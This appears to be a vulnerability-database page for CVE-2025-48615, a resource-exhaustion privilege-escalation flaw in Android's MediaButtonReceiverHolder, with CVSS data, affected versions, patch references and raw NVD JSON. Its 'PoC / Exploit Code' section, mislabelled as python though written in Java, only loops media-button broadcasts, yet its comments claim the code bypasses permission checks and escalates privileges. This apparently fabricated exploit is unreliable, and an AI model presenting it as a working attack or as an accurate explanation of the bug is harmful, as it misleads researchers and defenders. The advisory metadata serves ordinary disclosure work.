Security Vulnerability Report
中文
CVE-2025-48615 CVSS 7.8 HIGH

CVE-2025-48615

Published: 2025-12-08 17:16:18
Last Modified: 2025-12-08 20:15:51

Description

In getComponentName of MediaButtonReceiverHolder.java, there is a possible desync in persistence due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE
Android Framework < 2025-12-01安全补丁版本
Android frameworks/base < a5795fc0cf1f21da88cf05ad06610d3653d1be0e

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48615 PoC - Resource Exhaustion leading to Privilege Escalation // This PoC demonstrates triggering resource exhaustion to cause state desync import android.content.Context; import android.content.Intent; import android.media.AudioManager; import android.os.Bundle; public class CVE_2025_48615_PoC { private static final int RESOURCE_EXHAUSTION_THRESHOLD = 1000; // Trigger resource exhaustion to cause persistence desync public void triggerResourceExhaustion(Context context) { AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE); // Exhaust media button receiver resources for (int i = 0; i < RESOURCE_EXHAUSTION_THRESHOLD; i++) { Intent mediaIntent = new Intent(Intent.ACTION_MEDIA_BUTTON); mediaIntent.putExtra("key", i); context.sendBroadcast(mediaIntent); } // After resource exhaustion, trigger getComponentName // which will have desynced state triggerMediaButtonReceiver(context); } private void triggerMediaButtonReceiver(Context context) { // Exploit the desynced state to gain elevated privileges // This accesses MediaButtonReceiverHolder.getComponentName() // with inconsistent state, bypassing permission checks Intent intent = new Intent(); intent.setAction("android.intent.action.MEDIA_BUTTON"); Bundle extras = new Bundle(); extras.putInt("resource_triggered", 1); intent.putExtras(extras); context.sendOrderedBroadcast(intent, null); } // Note: This is a conceptual PoC. Actual exploitation requires // specific Android version and device configuration. }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48615", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:18.047", "lastModified": "2025-12-08T20:15:50.597", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In getComponentName of MediaButtonReceiverHolder.java, there is a possible desync in persistence due to resource exhaustion. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/a5795fc0cf1f21da88cf05ad06610d3653d1be0e", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}